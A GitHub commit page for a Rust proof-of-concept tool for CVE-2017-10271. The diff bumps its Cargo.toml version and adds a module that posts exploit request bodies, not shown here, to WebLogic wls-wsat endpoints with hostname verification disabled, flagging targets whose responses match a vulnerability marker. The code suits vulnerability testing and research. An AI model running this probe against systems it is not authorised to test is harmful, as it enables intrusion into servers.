-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
a6be3f2
commit 35c4ae8
Showing
6 changed files
with
141 additions
and
50 deletions.
There are no files selected for viewing
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1,12 @@ | ||
[package] | ||
name = "cve-2017-10271-poc" | ||
version = "0.2.0" | ||
version = "0.3.0" | ||
authors = ["刘安 <[email protected]>"] | ||
license = "GPL-3.0" | ||
|
||
[dependencies] | ||
itertools = "*" | ||
lazy_static = "*" | ||
reqwest = "*" | ||
termcolor = "*" | ||
termcolor = "*" | ||
version = "*" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
use reqwest::header; | ||
use reqwest::{Client, RequestBuilder}; | ||
use std::error::Error; | ||
use std::time::Duration; | ||
|
||
use constant; | ||
use term; | ||
|
||
pub fn test(url: &String) -> Result<Option<String>, Box<Error>> { | ||
let address: Vec<&str> = vec!["CoordinatorPortType", "CoordinatorPortType11"]; | ||
let test_body: Vec<&str> = vec![constant::EXEC_BODY, constant::SIMPLE_BODY]; | ||
let term = term::TERM.clone(); | ||
let client = Client::builder() | ||
.danger_disable_hostname_verification() | ||
.timeout(Some(Duration::from_secs(10))) | ||
.build()?; | ||
for (addr, body) in iproduct!(address, test_body) { | ||
let url = format!("{}/wls-wsat/{}", url, addr); | ||
let mut request = client.post(&url); | ||
request | ||
.header(header::UserAgent::new(constant::USER_AGENT)) | ||
.header(header::ContentType::xml()) | ||
.body(body); | ||
match try_request(&mut request) { | ||
Ok(true) => return Ok(Some(url)), | ||
Ok(false) => continue, | ||
Err(e) => term.cout(format!("EE! {}\n", e), &term::ERR_SPEC), | ||
} | ||
} | ||
Ok(None) | ||
} | ||
|
||
fn try_request(request: &mut RequestBuilder) -> Result<bool, Box<Error>> { | ||
let mut response = request.send()?; | ||
let response = if !response.status().is_success() { | ||
return Ok(false); | ||
} else { | ||
response.text()? | ||
}; | ||
if response.starts_with(constant::VULNER_TEXT) { | ||
Ok(true) | ||
} else { | ||
Ok(false) | ||
} | ||
} |